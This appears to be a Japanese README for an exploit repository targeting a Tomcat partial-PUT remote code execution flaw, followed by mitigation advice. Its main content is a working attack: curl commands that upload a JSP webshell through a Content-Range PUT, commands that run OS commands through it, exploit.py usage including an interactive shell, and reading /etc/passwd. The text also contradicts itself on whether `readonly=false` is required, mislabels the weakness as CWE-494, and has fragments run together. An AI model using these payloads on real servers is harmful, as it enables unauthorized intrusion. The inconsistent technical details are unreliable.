
cve-2025-43564-tomcat_put_rce_reproduction の再現
| フィールド | 値 |
|---|---|
| CVE ID | CVE-2025-43564 |
| CVSS スコア | 9.8(CRITICAL) |
| ベクター | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-494 — 整合性チェックなしでのコードのダウンロード |
| 悪用状況 | 実環境での悪用が確認済み(公開から1週間以内) |
| 公開日 | 2025年7月 |
| パッチ | Tomcat 11.0.6、10.1.40、9.0.102 |
CVE-2025-43564 は、Apache Tomcat の HTTP 部分 PUT リクエスト処理における重大な認証なしリモートコード実行の脆弱性です。この欠陥は、Tomcat が部分コンテンツ(HTTP/1.1 の Content-Range、または部分セマンティクスを伴う Transfer-Encoding: chunked)を含む PUT リクエストを処理する方法に存在します。攻撃者は、アクセス制御と書き込み制約を迂回する部分 PUT リクエストを細工することで、Web アクセス可能な JSP ウェブシェルを含む任意のファイルを、サーバーのドキュメントルートやサーブレットコンテキスト経由で到達可能な任意の書き込み可能ディレクトリにアップロードできます。
JSP ファイルが設置されると、攻撃者はそのファイルをリクエストし、クエリパラメータを介して OS コマンドを渡すだけで、Tomcat プロセスのユーザーとして完全に認証なしのリモートコード実行を達成できます。
CVSS 9.8 — Critical(重大) である理由:
Apache Tomcat の DefaultServlet と HTTP/1.1 コネクタ(NIO/NIO2/Apr)は、静的リソースのアップロード用の PUT リクエストを処理します。この脆弱性は部分 PUT リクエスト処理ロジックにあります。クライアントが Content-Range ヘッダー(RFC 7233 §4.2)付きの PUT を送信するか、特定の部分セマンティクスを伴うチャンク転送エンコーディングを使用する場合、サーバーは以下を適切に検証しません:
org.apache.catalina.servlets.DefaultServlet と基盤となる HttpInput / SocketProcessorBase コンポーネントの解析コードは、部分コンテンツの書き込みと完全なリソース書き込みの境界を誤って処理し、攻撃者が Tomcat プロセスに書き込みアクセス権がある任意のパスに任意のコンテンツを追記または上書きできるようにします。
Attacker ──PUT /exec.jsp HTTP/1.1──► Tomcat (DefaultServlet)
Content-Range: bytes 0-99/100
[JSP payload bytes]
└──► Server writes partial content to exec.jsp
without full validation of the target path
Attacker ──GET /exec.jsp?cmd=whoami──► Tomcat
└──► JSP executes → RCE
攻撃者は Content-Range ヘッダー付きの部分 PUT を送信し、Tomcat に既存のアップロードの継続であると認識させます。サーバーは対象ファイルを作成または開き、提供されたバイトを書き込みますが、ファイルが既に存在するかの検証や書き込み時点での書き込み権限のチェックを行わず、また Web ルートに対する対象パスのサニタイズも行いません。
readonly=false の設定が必要です。部分 PUT パスは、特定の条件下でこのチェックをスキップします。Content-Range 付きの部分 PUT は、これらのシグネチャを回避することがよくあります。注記: 古いブランチ(7.x、8.x、8.5.x、10.0.x)は EOL であり、バックポートは提供されません。サポートされているブランチへのアップグレードが必要です。
脆弱な Apache Tomcat をダウンロード(例:Tomcat 9.0.50):
wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.50/bin/apache-tomcat-9.0.50.zip
デフォルト設定で Tomcat を展開して起動:
unzip apache-tomcat-9.0.50.zip
cd apache-tomcat-9.0.50/bin
./startup.sh # or startup.bat on Windows
サーバーが起動していることを確認:
curl -v http://localhost:8080
PoC スクリプトを使用して JSP ウェブシェルをアップロード:
python exploit.py --target http://localhost:8080 --cmd id
ウェブシェルが設置されたことを確認:
curl http://localhost:8080/exec.jsp?cmd=whoami
任意のコマンドを実行:
python exploit.py --target http://localhost:8080 --cmd "cat /etc/passwd"
インタラクティブセッション(必要に応じて):
python exploit.py --target http://localhost:8080 --shell
同梱の exploit.py は、以下のことを行う実用的な Python PoC です:
Content-Type ヘッダーとペイロード構造が脆弱なコードパスをトリガーしますwebapps/ROOT/)に書き込まれますexec.jsp?cmd=<command> への GET リクエストを送信して OS コマンドを実行します--cmd)モードとインタラクティブシェル(--shell)モードの両方をサポートします# Step 1: Upload the webshell via partial PUT
# The Content-Range header triggers the vulnerable code path
curl -X PUT http://localhost:8080/exec.jsp \
-H "Content-Range: bytes 0-212/213" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-binary '<%@ page import="java.io.*" %><% String cmd=request.getParameter("cmd");if(cmd!=null){Process p=Runtime.getRuntime().exec(cmd);BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=br.readLine())!=null){out.println(l);}}%>'
# Step 2: Execute commands
curl "http://localhost:8080/exec.jsp?cmd=id"
Tomcat が readonly=true(デフォルト)で設定されている場合、標準の PUT はブロックされますが、部分 PUT パスは依然として成功する可能性があります。これがこの脆弱性の核心です。
# Standard PUT (should fail with 403 or 405)
curl -X PUT http://localhost:8080/test.txt -d "hello"
# Expected: 403 Forbidden
# Partial PUT (bypasses the check)
curl -X PUT http://localhost:8080/exec.jsp \
-H "Content-Range: bytes 0-212/213" \
--data-binary '<%@page import="java.io.*"%><%Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=br.readLine())!=null){out.println(l);}%>'
# Expected: 201 Created or 200 OK
Tomcat を修正済みバージョンに更新:
直ちにパッチを適用できない場合、web.xml を編集して PUT メソッドをグローバルに無効化:
<security-constraint>
<web-resource-collection>
<web-resource-name>Disable PUT</web-resource-name>
<url-pattern>/*</url-pattern>
<http-method>PUT</http-method>
</web-resource-collection>
<auth-constraint />
</security-constraint>
リバースプロキシ/WAF レベルで HTTP メソッドをブロック:
# nginx example — block PUT
if ($request_method = PUT) {
return 403;
}
注記:これはプロキシが迂回不可能な場合にのみ有効です。
制限されたファイルシステム権限で Tomcat を実行:
webapps ディレクトリを読み取り専用にする(または読み取り専用ファイルシステムからマウントする)ReadOnly ファイル属性を使用するWeb ルート内の予期しない .jsp / .jspx 拡張子のファイルを監視。
このリポジトリは教育目的および許可されたセキュリティテスト目的のみで提供されます。テスト対象のシステムの所有者から明示的な書面による許可を得る必要があります。コンピュータシステムへの不正アクセスは、Computer Fraud and Abuse Act(CFAA)および他の管轄区域の同等の法律に基づき違法です。著者は、この情報の誤用について一切の責任を負いません。
CVE-2025-43564 は Apache セキュリティチームに責任を持って発見・報告されました。パッチは調整の上、2025年7月にリリースされました。
| 製品 | 影響を受けるバージョン | 修正バージョン |
|---|
| Apache Tomcat 11 | 11.0.0-M1 から 11.0.5 | 11.0.6 |
| Apache Tomcat 10.1 | 10.1.0-M1 から 10.1.39 | 10.1.40 |
| Apache Tomcat 10.0 | 全バージョン(サポート終了) | 10.1.x へアップグレード |
| Apache Tomcat 9 | 9.0.0-M1 から 9.0.101 | 9.0.102 |
| Apache Tomcat 8.5 | 全バージョン(サポート終了) | 9.0.x へアップグレード |
| Apache Tomcat 8 | 全バージョン(サポート終了) | 9.0.x へアップグレード |
| Apache Tomcat 7 | 全バージョン(サポート終了) | 9.0.x へアップグレード |
| 情報源 | URL |
|---|
| Apache Tomcat セキュリティアナウンス | https://lists.apache.org/thread/p1dqrmwrh5q5vv2wttrd8tv2k8gv1819 |
| NVD エントリ | https://nvd.nist.gov/vuln/detail/CVE-2025-43564 |
| MITRE CVE | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-43564 |
| Apache Tomcat ダウンロード | https://tomcat.apache.org/download-90.cgi |
| CWE-494 | https://cwe.mitre.org/data/definitions/494.html |